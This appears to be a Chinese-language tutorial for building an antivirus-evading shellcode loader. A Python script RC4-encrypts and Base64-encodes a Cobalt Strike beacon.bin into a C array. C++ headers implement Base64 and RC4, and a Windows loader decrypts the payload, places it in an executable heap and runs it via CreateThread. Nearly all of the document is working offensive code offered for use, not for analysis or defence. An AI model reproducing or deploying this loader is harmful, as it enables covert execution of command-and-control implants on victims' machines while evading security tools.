rc4与base64组合拳加密

混淆python脚本

cs生成.bin格式
注意混淆的密钥要与最终加载器的密钥一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import base64
import os

# 纯Python实现RC4加密(替代pycryptodome的ARC4)
def rc4_encrypt(key, data):
"""
纯Python实现RC4加密
:param key: 密钥(bytes类型)
:param data: 待加密数据(bytes类型)
:return: 加密后的数据(bytes类型)
"""
# 初始化S盒
S = list(range(256))
j = 0
key_len = len(key)
for i in range(256):
j = (j + S[i] + key[i % key_len]) % 256
S[i], S[j] = S[j], S[i]

# 加密数据
i = j = 0
encrypted = []
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
encrypted.append(byte ^ k)

return bytes(encrypted)

def read_binary_file(filename):
if not os.path.exists(filename):
raise FileNotFoundError(f"文件 {filename} 不存在!")
with open(filename, "rb") as file:
return file.read()

def base64_encode(data):
encoded_data = base64.b64encode(data)
return encoded_data.decode("utf-8")

def generate_c_array(data_str):
c_array_lines = []
for i, char in enumerate(data_str):
if i % 100 == 0:
c_array_lines.append("\n\t")
c_array_lines.append(f"0x{ord(char):02X}, ")
c_array = "".join(c_array_lines).rstrip(", ")
return "{" + c_array + "\n};"

def main():
try:
filename = "beacon.bin"
output_filename = "res.txt"
key = b"kenny"

print(f"正在读取文件: {filename}")
binary_data = read_binary_file(filename)
if not binary_data:
print("警告:读取的文件为空!")
return

print("正在执行RC4加密...")
encrypted_data = rc4_encrypt(key, binary_data) # 使用纯Python实现

print("正在执行Base64编码...")
encoded_data = base64_encode(encrypted_data)

print("正在生成C数组...")
c_array = generate_c_array(encoded_data)

with open(output_filename, "w", encoding="utf-8") as file:
file.write(c_array)

print(f"操作完成!结果已保存到: {output_filename}")
except Exception as e:
print(f"执行出错: {type(e).__name__} - {str(e)}")

if __name__ == '__main__':
main()

base64&rc4头文件

base64.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#pragma once
#include <string>
#include <vector>
#include <cstdint>
#include <stdexcept>
#include <algorithm>

/**
* @brief 标准Base64编码表(RFC4648)
*/
static const char base64_table[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";

/**
* @brief Base64解码快速查找表(-1=非法字符,-2=填充符=)
*/
static const int8_t base64_decode_table[] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -2, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1
};

/**
* @brief Base64编码函数(适配uint8_t/vector)
* @param data 原始数据指针
* @param len 数据长度
* @return Base64编码后的字符串
*/
static std::string base64Encode(const uint8_t* data, size_t len) {
if (data == nullptr || len == 0) {
return "";
}

std::string result;
result.reserve(((len + 2) / 3) * 4); // 预分配内存,提升性能

for (size_t i = 0; i < len; i += 3) {
// 取3个字节,不足补0
uint32_t triple = 0;
size_t bytes = std::min<size_t>(3, len - i);
for (size_t j = 0; j < bytes; ++j) {
triple |= (static_cast<uint32_t>(data[i + j]) << (16 - 8 * j));
}

// 拆分为4个6位值,映射到Base64表
result += base64_table[(triple >> 18) & 0x3F];
result += base64_table[(triple >> 12) & 0x3F];
result += (bytes >= 2) ? base64_table[(triple >> 6) & 0x3F] : '=';
result += (bytes >= 3) ? base64_table[triple & 0x3F] : '=';
}

return result;
}

/**
* @brief Base64编码重载(适配vector<uint8_t>)
* @param data 原始数据vector
* @return Base64编码后的字符串
*/
static std::string base64Encode(const std::vector<uint8_t>& data) {
return base64Encode(data.data(), data.size());
}

/**
* @brief Base64解码函数(与DLL中调用完全匹配)
* @param encoded Base64编码字符串
* @return 解码后的原始数据(vector<unsigned char> 兼容)
* @throw std::invalid_argument 编码字符串非法
*/
static std::vector<uint8_t> base64Decode(const std::string& encoded) {
if (encoded.empty()) {
return {};
}

// 校验Base64字符串长度合法性
if (encoded.size() % 4 != 0) {
throw std::invalid_argument("Base64解码失败:长度不是4的倍数");
}

// 计算填充符=的数量
size_t padding = 0;
if (encoded.back() == '=') {
padding++;
if (encoded[encoded.size() - 2] == '=') {
padding++;
}
}

std::vector<uint8_t> result;
result.reserve(((encoded.size() / 4) * 3) - padding); // 预分配内存

for (size_t i = 0; i < encoded.size(); i += 4) {
// 解析4个Base64字符为3个字节
uint32_t triple = 0;
for (size_t j = 0; j < 4; ++j) {
char c = encoded[i + j];
int8_t val = base64_decode_table[static_cast<uint8_t>(c)];

// 非法字符检查
if (val == -1) {
throw std::invalid_argument("Base64解码失败:包含非法字符");
}
// 填充符=处理为0
if (val == -2) {
val = 0;
}

triple |= (static_cast<uint32_t>(val) << (18 - 6 * j));
}

// 提取3个字节(不足则跳过)
result.push_back(static_cast<uint8_t>((triple >> 16) & 0xFF));
if (i + 2 < encoded.size() && encoded[i + 2] != '=') {
result.push_back(static_cast<uint8_t>((triple >> 8) & 0xFF));
}
if (i + 3 < encoded.size() && encoded[i + 3] != '=') {
result.push_back(static_cast<uint8_t>(triple & 0xFF));
}
}

return result;
}

rc4.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#pragma once
#include <cstdint> // 提供uint8_t/uint32_t等类型
#include <cstring> // 提供strlen/memset
#include <stdexcept> // 提供异常类

// RC4 S盒大小(全局常量,确保DLL中可直接使用)
#define N 256

/**
* @brief 交换两个uint8_t字节(内部辅助函数)
* @param a 第一个字节指针
* @param b 第二个字节指针
*/
static inline void swap(uint8_t* a, uint8_t* b) {
if (a == nullptr || b == nullptr) {
throw std::invalid_argument("swap: 空指针参数");
}
uint8_t tmp = *a;
*a = *b;
*b = tmp;
}

/**
* @brief RC4密钥调度算法(KSA)
* @param key 加密密钥(const char* 匹配DLL中char[]类型)
* @param S RC4状态数组(长度必须为N)
* @return 0成功,-1失败(参数非法)
*/
static int KSA(const char* key, uint8_t* S) {
// 严格参数校验
if (key == nullptr || S == nullptr) {
return -1;
}
size_t key_len = strlen(key);
if (key_len == 0) { // 空密钥检查
return -1;
}

// 初始化S盒
for (int i = 0; i < N; ++i) {
S[i] = static_cast<uint8_t>(i);
}

// 密钥混合核心逻辑
uint32_t j = 0;
for (int i = 0; i < N; ++i) {
j = (j + S[i] + static_cast<uint8_t>(key[i % key_len])) % N;
swap(&S[i], &S[j]);
}

return 0;
}

/**
* @brief RC4伪随机生成算法(PRGA)
* @param S KSA初始化后的状态数组
* @param data 待加密/解密的数据(uint8_t* 匹配vector<unsigned char>.data())
* @param data_len 数据长度(size_t 匹配vector.size())
* @return 0成功,-1失败(参数非法)
*/
static int PRGA(uint8_t* S, uint8_t* data, size_t data_len) {
// 严格参数校验
if (S == nullptr || data == nullptr || data_len == 0) {
return -1;
}

int i = 0, j = 0;
for (size_t n = 0; n < data_len; ++n) {
i = (i + 1) % N;
j = (j + S[i]) % N;
swap(&S[i], &S[j]);

// 生成伪随机字节并异或(核心加密/解密逻辑)
uint8_t rnd = S[(S[i] + S[j]) % N];
data[n] ^= rnd;
}

return 0;
}

/**
* @brief 封装的RC4加密/解密函数(可选,简化调用)
* @param key 密钥
* @param data 待处理数据(原地加密/解密)
* @param data_len 数据长度
* @return 0成功,非0失败
*/
static int rc4_crypt(const char* key, uint8_t* data, size_t data_len) {
uint8_t S[N];
int ret = KSA(key, S);
if (ret != 0) {
return ret;
}
return PRGA(S, data, data_len);
}

最终加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#include <Windows.h>
#include <string>
#include <vector>
#include "rc4.h"
#include "base64.h"

std::string encodedShellcode = {};
std::vector<unsigned char> decodedShellcode = base64Decode(encodedShellcode);
if (decodedShellcode.empty()) {
return -1;
}

char key[] = "kenny";
uint8_t S[N]; // 改用uint8_t(与rc4.h中的类型一致)
memset(S, 0, sizeof(S));

// 第一步:修复KSA调用(确保key是const char*,与rc4.h声明匹配)
int ksa_ret = KSA(key, S);
if (ksa_ret != 0) {
return -2;
}

// 第二步:修复PRGA调用(核心!类型完全匹配,移除多余转换)
// 飘红关键修复:第二个参数直接用uint8_t*,无需转char*
int prga_ret = PRGA(
S,
decodedShellcode.data(), // vector<unsigned char>.data() 直接返回uint8_t*
decodedShellcode.size() // size_t类型,与rc4.h中PRGA的data_len参数匹配
);
if (prga_ret != 0) {
return -3;
}

// 后续堆创建/线程创建逻辑不变
HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
if (hHeap == NULL) {
return GetLastError();
}

PVOID Mptr = HeapAlloc(hHeap, HEAP_ZERO_MEMORY, decodedShellcode.size());
if (Mptr == NULL) {
HeapDestroy(hHeap);
return GetLastError();
}

RtlCopyMemory(Mptr, decodedShellcode.data(), decodedShellcode.size());

DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)Mptr,
NULL,
0,
&dwThreadId
);

if (hThread != NULL) {
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
else {
HeapFree(hHeap, 0, Mptr);
HeapDestroy(hHeap);
return GetLastError();
}

HeapFree(hHeap, 0, Mptr);
HeapDestroy(hHeap);
return 0;